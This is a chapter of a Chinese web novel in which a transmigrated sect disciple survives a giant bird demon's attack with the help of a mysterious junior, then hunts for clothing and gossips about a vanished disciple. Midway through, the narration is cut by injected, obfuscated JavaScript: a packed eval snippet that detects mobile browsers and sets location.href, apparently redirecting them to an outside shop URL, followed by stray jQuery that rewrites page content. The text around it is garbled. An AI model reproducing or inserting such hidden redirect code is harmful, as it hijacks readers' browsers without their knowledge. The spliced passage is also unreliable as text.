那黑影竟是只巨鸟。
长喙如钩,两只眼睛幽绿淬人,其他鸟类或有扇形之尾,而它却如同蜜蜂尖尾,镶嵌的尖羽锋利如似刃,闪着耸人的冷光。
“哧——!”
它振翅腾空,羽扇掀起狂风气浪,落叶碎枝漫天翻卷,如浊浪般扑面压来。
华苓月身弱不稳,被慕挽星强行护在怀中,才不至于被狂风掀飞。
华苓月:“呸呸!这到底什么玩意??!”
狂风卷着落叶刮过脸,耳边传来慕挽星的声音:“小师姐嘴上说废柴,真把自己当废柴了?忘了宗门必修的《妖兽录》吗?!”
“……”
她这才忆及文多图丑的破烂,这巨鸟确实和一图很像,借着文字记忆,道:“有鸟,状如蜂,大如鸳之奇禽,遭其毒羽射中,鸟兽必死,树木必枯?”
“这下,是又舍不得装废柴了?”
“……”
“哧——”
巨鸟一叫,劲风再袭,华苓月躲在他怀里,闷声:“可我隐约记得这死鸟有个名字...但当时都是罚抄寻乐,随手翻看,完全没顾上...”
不知为何,耳边风突然停片刻,借着就是一“嗖——”的一声。
斜羽无情穿破脚边巨石,看得华苓月倒吸一口凉气,呆了。
“是钦原!跑!”被慕挽星的喊声又一惊,手还没松,就被拽着逃。
钦原在两人身后追击不穷,华苓月心惊肉跳,忍不住脱口吐槽:“不是大如鸳?这也差太远了还凶戾至此!简直是图物不符!光靠两条腿,怎么跑得过它遮天大翼!”
慕挽星紧拉着她的手:“敢情小师姐没被吓着,只是嫌它太大?”
“错!是嫌它太丑!入药蜈蚣都长得比它好看!”说着,华苓月又回头去。
钦原似被激怒,巨翅狠狠一振。黑羽如淬毒飞镖,密密麻麻破空射来,尖啸刺耳。
“咻——咻——!”
羽镖扎入石土,接连炸开,尘土碎石四溅,地面被轰出一片密密麻麻的深坑。
一连串爆炸激纷扬尘土,待视线稍稍清晰,它本以为得手,却连个人影也没看见。
“呼——怎么一天天谁懂想要我小命?”华苓月躲在假山后,浅浅喘息。
好在慕挽星比她要敏锐,黑羽射来之前就一把将她推开,他自己也朝后跌去,一个利落翻身,躲在树后。
华苓月悄悄探头,确认他还活着,又看向霸占天空的巨妖。按她的想法就是有十个慕挽星那么强,也就意味着……需要十倍的致死量。
她边摩挲发间木簪,抽出一七寸银针,躲藏在暗处,试图学着慕挽星听声辨位,可恨它劲头不小,东西南北都飞过。
这怎么瞄准?万一有闪失,岂非原地自爆??
在她差点失去耐心前,它又徘徊在两人所在地的上方。它视力似是不佳,听觉也钝,唯独对气息极为敏锐,死死悬在林上,不肯离去。
但也或许不是舍不得,而是无法离去。
她正要动手,又听慕挽星喊话道:“小师姐还是想想,是不是得罪什么人?否则出现妖物这么大的动静,全宗上下都跟死了一样,全然不知?!”
说中她心上,华苓月没好气地道:“宗主与几位长老早便外出,不然我怎会连呼救都不敢?更何况——”
“哧——!”
鸟妖身形巨大,所造强风更是没完没了,一片片松树在风中狂舞,而华苓月躲在假山后也不能幸免,乌发因强劲的气流乱糟糟地飞在脸上,都抽不手出打理。
钦原留置于此,不见离开后山,反而偏逮着两人不放,除去被下隔离禁制,无法离去,还真没有第二种可能。
它刚稍飞高一点,侧边树影中又传来慕挽星的喊声:“宗主和几位长老,当真不在?!”
“啧!你这不是废话吗?!我能拿自己的命,陪你在这被追杀不成?!”
“……”慕挽星眸底飞快掠过一丝了然,勾唇轻笑,声音轻得只有自己能听见:“……那我可就放心了。”
他笑意未达眼底,只剩一片深不见底的沉静。
也不知他问这么多做什么,若他真是外门,就算功法了得,对此危难又有何用?
活命还得看自己。
华苓月只对了一眼,缩头,紧张兮兮,躲在假山等效果,却听铮地一声。
炸天般的惨叫后,似有什么流水喷涌而出,不过比这要粘稠,还要腥...腥?
她不信邪地轻嗅,鼻尖先撞上一股浓腥血气。
怎会……莫非,方才还牢牢护着她的人,难道就折在这里?担忧一瞬压过恐惧,华苓月扶着假山,颤着眼睫,探出头。
夜风忽静。
皎月破云而出,洒下一地清辉。
只见一道挺拔背影立在狼藉之中。少年长发高束,墨蓝发带与桀骜发丝一同扬在身后,手中长剑被血染得失了本色。
而方才还追击不休的钦原,此刻已颓然倒地,粗壮脖颈歪在一旁,浑身羽翎崩裂,黑血汩汩往外涌,像被无数道剑同时扎穿。
不过一息之间。
那个拉着她狼狈奔逃之人,抬手便斩了这凶妖。
惨烈死状看得华苓月胃里一阵翻涌,可更让她心惊的,是眼前这个人。
前一刻,还携她一同躲藏奔逃,下一刻便拔剑斩妖,快得连残影都看不清。
这等实力,莫说外门弟子,便是内门、真传,也少有人及。
她之前还不自量力与他争执,后知后怕的惧意爬上脊背。
她试探着走近,隐约听见一声“切”,估计是钦原死不瞑目的挣扎之声,也可能是她自己心中胆寒之音。
鲜血与妖气一同消散在夜风里。
少年收剑,周身那股生人勿近的冷厉才缓缓褪去,再看向她时,眼底已恢复平日浅淡的笑意,语气平和:“小师姐,没事吧?”
华苓月有点受不起他这句没事,只干巴巴陪笑:“我?我还行。你?你没事吧?”
她一个穿书之人,都要严重怀疑眼前之人可能被附身了。总觉,之前拉她逃跑的是一人。狠厉杀妖,过程之快到不留痕迹,事后淡然微笑的,是另一人。
慕挽星走近些:“小师姐,关心我啊?”
华苓月伫立着,注意力被他右颊上的细浅伤口吸引,他皮肤白皙,哪怕丝丝浅红也显得惊心。
可凭他的实力,钦定怎有反击之力,莫不是他护着自己时,被飞叶刮伤的?
华苓月抿了抿嘴:“算,算是?”
慕挽星笑了,温声道:“我很好。”
想必他降妖经历丰富,见惯不惊。而自己因废柴之身,从未下山,被宗门庇护照顾,见此情形,即便安然度过也会生出后怕。
可他如此厉害,又为何说自己是外门?同为外门,她都想骂自己一句废物!
“我知小师姐心中疑惑,现下确实不是时候。”他突然开口,风轻云淡地拍拍身上的土,又道:“可否带我寻一套干净衣物?”
“好...好。”华苓月麻木地点头:随便他什么身份吧,只此一晚,日后也与我无瓜。
她又朝慕挽星身侧死物指了指:“那,那个...它?它就这么死在那?”
“不过是个分身,过会便能自行消散,连着禁制也会随之消解,瞧!”
话音刚落,那摊死物如飘渺浮云,蒸腾悬上,逐渐消解,连同它的血和羽镖一并散去,仿佛从未来过。
她又反应过来什么:“分身?你说这只是分身?”
慕挽星笑了:“当然,否则怎么会弱成这样?”
华苓月默默转身离去:“......”
他跟上来并行,留意到华苓月凝滞的气息,笑道:“看来小师姐身体比嘴实在,还是害怕的。它的确只是个分身,从羽镖威力,飞行速度,都不算强。”
“......”
他背过手,暗自想想,指尖轻翻,七寸银针悄现,比偷袭他时所用还要锋锐,而后温声试问:“小师姐,可是觉得我一击毙命,太过残忍?”
虽没亲眼见证,钦原如何被杀,华苓月目光动了下,道:“一击毙命都是你的本事,太过残忍是背后之人的阴险。”
“看来小师姐,知晓是谁?”
“......”她没在回话,他也不再问。
两人一左一右,他半步不离,影子被月光拉长,叠在她身上。在华苓月引领下,熟门熟路,寻来杂役处。
杂役处如同后勤部,各弟子日常用品,修炼辅助法器耗材,以及宗门劳作等所需的各类物资。包括他想要的外门服饰。
华苓月回头,一脸无奈望向站在暗处的慕挽星。
这货武力值拉满,却不知是什么脑回路,不避着自己,反而要避开杂役处的守门弟子。
罢了...就当是救命之恩的报答吧。
晚风揽月,几只灵鸮飞落在屋顶。屋檐角上挂着一盏灯笼,明光犹亮,照着底下那张破旧木桌。都是用作给看守弟子的照明休息所用。
此刻,一位女弟子,青衣白衫,抱着自己的桃木剑,趴在木桌上东倒西歪,流着口水打瞌睡。
“孟织,醒醒。”
打盹正香,孟织嗅着气息,听人叫她名字,揉着眼抬头。昏黄之下映着廊下立着的女子。乌黑长发挽成半髻,眉眼灵动而清亮,青衣飘飘,裹着淡淡花草香和......土气?
一见是华苓月,她稍微醒过脑:“月姐姐?你不是被罚后山悟灵吗?怎么来这?……还灰头土脸的?”
华苓月有点不好解释,后山惊天动静,她都能睡的如此香:“……”
“姐姐你不会是被龙卷风袭击了吧?!”
“嘘!”眼下可不是详细说明的时候,她食指放在嘴边,又环顾四下,转过头说:“别张扬,我来找你要一套服饰。”
“啊?”孟织手搭到后脖又是揉又是转,歪头眯了好几个时辰,也怪不得僵得落枕。
华苓月跟着她,进了屋。
杂役处内,乱做一坨,两人为了套衣物,翻箱倒柜找起来。
左手掀开白布,“哐啷哐啷”,报废的劳作器具抱团似的滚落而出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371922|199952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
华苓月深深吸气:“……”
右手拉开木柜,“叮铃叮铃”,一波残次法器争先恐后地跳出来。
华苓月轻轻吐气:“……什么杂役处,干脆叫废品站算了!”
孟织:“哈哈哈哈,姐姐莫急。”
一番折腾,动静不小,惹得窗外灵鸮扑腾地起落。
话说回来,每日守门皆是不同弟子,也就是今日运气好,是孟织守门,她才能要风得风,要雨得雨,但凡换个其他弟子,不把嘴皮说破,供上一袋灵石,根本换不来套衣物。
“月姐姐,你这是要给谁啊?”孟织扒拉开杂七杂八的竹竿,从角落灰扑扑的柜中,找来外门服饰递给她。
“给......哎!你可见过宗门内的亲传弟子?”
“月姐姐,你连这个都忘了?当初宗门收纳弟子,就是宗主亲传带我们进山的啊。”
孟织并不在她笔下的剧情里,却是她穿书醒来后,第一个陪在身边的人。旁人笑她是废柴的跟屁虫,她也从不在意。只是每问来龙去脉,就容易被她拉去找长老驱魔,就差跳黄河自证了。
在她暗暗观察,发现两人不似主仆,更没什么契约,也非血缘亲人,却能彼此交心相互照顾,但一提及过往之事,就得慎重万分。
华苓月赶忙摆手否认,又走到她身后,帮她揉肩按摩,流通血液:“不不不,我是问其他的。”
“哦。”孟织被转移注意力,细细回想道:“应当只有一位,是宗主千金。其他没有。不过,我今日倒是听闻一则关于沐师姐的趣事,也算旧事。”
沐师姐?真传弟子的八卦!
华苓月八卦的兴奋,瞬间将险境的余惧冲淡,什么杀局,衣物也全然抛掷九霄云外:“是吗?说来听听。”
孟织自如地转转脖子,拉她坐在身旁,低声道:“听闻她过去,与一位天赋异禀的外门弟子关系十分亲密。”
华苓月眼前一亮,又凑近些:“男的?”
“当然。”
孟织点头,又道:“之后,两人一起下山除妖,结果遇上百年大妖,可回来却只沐师姐一人,而与她关系亲密的那位却彻底消失,再也没回来过。”
华苓月紧着问:“之后呢?”
孟织:“之后,沐师姐手里管理的几项权责大撤,就全权负责教导外门,管理外门一应事务了呗。”
华苓月翻了个白眼:“谁问你她啊,我是说那个外门弟子。”
“哦。听说长相俊美,是外门难得一见的皎皎君子,一眼难忘。当初大家私下在传,说他是为爱献身,勇救沐师姐。才半天,就被执法长老压下去,再也没人敢提此事。”
果然,任何真相经过七嘴八舌,传到最后只有被埋没的份。
华苓月撇嘴:“可我为何没听说?”
孟织嘿嘿笑了:“月姐姐,我不是故意打击你。你当初没通灵,被罚在藏书阁抄了一天书,回来我把这事忘了,就没说。”
“......”
华苓月心道:不通灵,不仅误我大事,还殃及性命。
“只是最近不知怎的,又暗暗传起来说,他并不喜欢沐师姐,还拒绝过,然后沐师姐就由爱转恨,故意设局杀他。”
眉心突地一跳,她愣了下,忽而自嘲地笑了声:“对我一个废物用同样的伎俩,她也不嫌腻。”
孟织急了:“伎俩?什么伎俩?”
华苓月摇摇头,她本来对打打杀杀,谁生谁死没什么兴趣,更在意八卦秘史。现在确定心中怀疑,更要多问两句:“那宗门内可有下山后,再无归来的弟子?”
“他之前没有。自他之后,就更没了。”
“……”
消失的外门弟子,被压下的传闻,突然出现的慕挽星,还有专门冲着她来的钦原……
所有事拧成一条线,她几乎可以确定慕挽星定与当年之事有关,她只好先放下沐婉音对自己的杀心。
没错!确定他的身份为第一要务,管你是人是妖,非得一验,若也是图谋不轨之徒,岂不引狼入室?
抱着衣物的手一紧,华苓月道:“行,你守夜吧,我先走了。”
看她离去的背影,是藏书阁方向,孟织开口已晚:“月姐姐,你不是被罚去后山悟灵吗?明日休沐,或许长老管的不严,你可......”
......
藏书阁内漆黑一片,加上明日休沐采买,看管不严,守门弟子也不知躲去哪个草丛偷懒睡觉,估计整个宗门就杂役处,还尽职尽责亮着灯。
蝉鸣声响中,华苓月反过来跟他一路,不见其犹豫半分,直奔藏书阁。
北窗“吱呀”一声被打开,慕挽星单手撑着,翻身而进。而华苓月担心自己腿短,功力不够,动静太大,正一股脑地卷衣摆,小心翼翼抬腿跨一半,卡在半中央才发现,慕挽星早已伸着手,在一旁等了她许久。
她这相抬眼,看慕挽星正挑着眉,既无奈又稀奇。估计对自己偷袭不行,身手也差的预判。
“……”
问题来了!要里子还是要面子?